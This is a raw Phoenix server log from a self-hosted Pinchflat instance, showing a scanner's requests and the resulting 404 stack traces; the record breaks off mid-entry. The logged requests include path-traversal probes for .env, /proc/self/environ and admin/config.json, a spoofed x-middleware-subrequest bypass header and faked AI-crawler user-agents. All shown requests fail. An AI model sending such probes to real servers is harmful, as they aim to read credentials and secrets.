"request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/orders/..%2f..%2f.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fH2NIssCQYABwSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34264}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2f..%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34264}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:08.583 [info] GET /api/orders/..%2f..%2fproc/self/environ 16:49:08.583 [debug] QUERY OK source="settings" db=0.0ms idle=143.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.583 [debug] QUERY OK source="settings" db=0.1ms idle=138.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.583 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.584 [error] #PID<0.29749.0> running PinchflatWeb.Endpoint (connection #PID<0.29748.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/orders/..%2f..%2fproc/self/environ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2f..%2fproc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29748.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34276}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29749.0>, params: %{}, path_info: ["api", "orders", "..%2f..%2fproc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/orders/..%2f..%2fproc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fIcd3aDOigABwTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29748.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34276}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2f..%2fproc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29748.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2fproc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34276}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-da (truncated) 16:49:08.591 [info] GET /api/data/..%2f..%2f.env 16:49:08.592 [debug] QUERY OK source="settings" db=0.1ms idle=146.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.592 [debug] QUERY OK source="settings" db=0.0ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.592 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.592 [error] #PID<0.29751.0> running PinchflatWeb.Endpoint (connection #PID<0.29750.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/data/..%2f..%2f.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/data/..%2f..%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/data/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29751.0>, params: %{}, path_info: ["api", "data", "..%2f..%2f"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/data/..%2f..%2f.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fKc3dMWPbwABwTh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/data/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/data/..%2f..%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/data/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34278}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:08.603 [info] GET /api/orders/..%2fadmin/config.json 16:49:08.603 [debug] QUERY OK source="settings" db=0.1ms idle=21.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.603 [debug] QUERY OK source="settings" db=0.0ms idle=19.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.603 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.603 [error] #PID<0.29753.0> running PinchflatWeb.Endpoint (connection #PID<0.29752.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/orders/..%2fadmin/config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2fadmin/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2fadmin/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29753.0>, params: %{}, path_info: ["api", "orders", "..%2fadmin", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/orders/..%2fadmin/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fNI7V8FAkEAAIBD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2fadmin/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2fadmin/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29752.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2fadmin/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34294}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 